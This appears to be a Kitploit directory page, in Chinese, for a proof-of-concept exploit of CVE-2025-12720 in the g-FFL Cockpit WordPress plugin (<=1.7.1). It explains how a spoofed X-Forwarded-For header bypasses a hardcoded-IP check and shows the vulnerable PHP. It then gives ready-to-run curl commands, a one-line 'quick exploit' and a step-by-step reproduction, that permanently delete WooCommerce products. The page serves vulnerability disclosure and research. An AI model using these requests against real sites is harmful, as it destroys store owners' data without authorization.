Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - 权限不当导致未认证产品删除 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-12720
漏洞分析漏洞利用Web应用程序漏洞利用API安全测试身份验证错误配置
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - 权限不当导致未认证产品删除

查看仓库
610个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

g-FFL Cockpit <= 1.7.1 - 未认证的任意产品删除

g-FFL Cockpit 插件在 queue 和 process REST API 端点上未实施适当的授权检查,允许未认证用户通过伪造 HTTP 标头绕过基于 IP 的身份验证,从而删除任意的 WooCommerce 产品。

快速利用

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

详情

queue 和 process REST API 端点使用基于 IP 的身份验证,但可以通过伪造 X-Forwarded-For 或 CF-Connecting-IP HTTP 标头来绕过。该身份验证机制依赖于 get_client_ip() 函数,该函数信任用户可控的标头,并针对插件源代码中硬编码的 IP 地址进行检查。

位于 class-sync-endpoint.php 中的代码:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

fflcockpit_is_allowed() 函数使用一个硬编码的 IP 地址(base64:My4yMTIuMTg1LjE4Nw==,解码后:3.212.185.187),该地址在插件源代码中可见。

来自 class-sync-endpoint.php 的漏洞代码片段:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare 也可能有多个 IP,解析方式类似 X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ 信任用户可控的标头
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ 信任用户可控的标头
20:        }
21:        return trim($ip);
22:    }

process_product() 函数将删除操作路由到 sql_delete_product(),该函数执行对 WooCommerce 产品的直接 SQL 删除。

来自 class-update-processor.php 的漏洞删除实现:

root@kitploit:~
634:            // 删除产品文章
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('从数据库中删除产品失败。');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

手动复现

注意: g-FFL Cockpit 需要 WooCommerce

  1. 导航到安装了 g-FFL Cockpit 插件的目标 WordPress 站点。

  2. 从插件源代码中提取硬编码的 IP 地址。该 IP 在 class-sync-endpoint.php 中以 base64 编码形式 My4yMTIuMTg1LjE4Nw== 存在,解码后为 3.212.185.187。

  3. 执行以下 curl 命令来排队并处理产品删除:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. 处理已排队的删除以实际执行产品移除:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. 你将收到删除完成的确认信息:
root@kitploit:~
{
  "status": "completed"
}

该产品会从 WooCommerce 数据库中永久删除,包括所有关联的元数据、分类关系和图片。

下载工具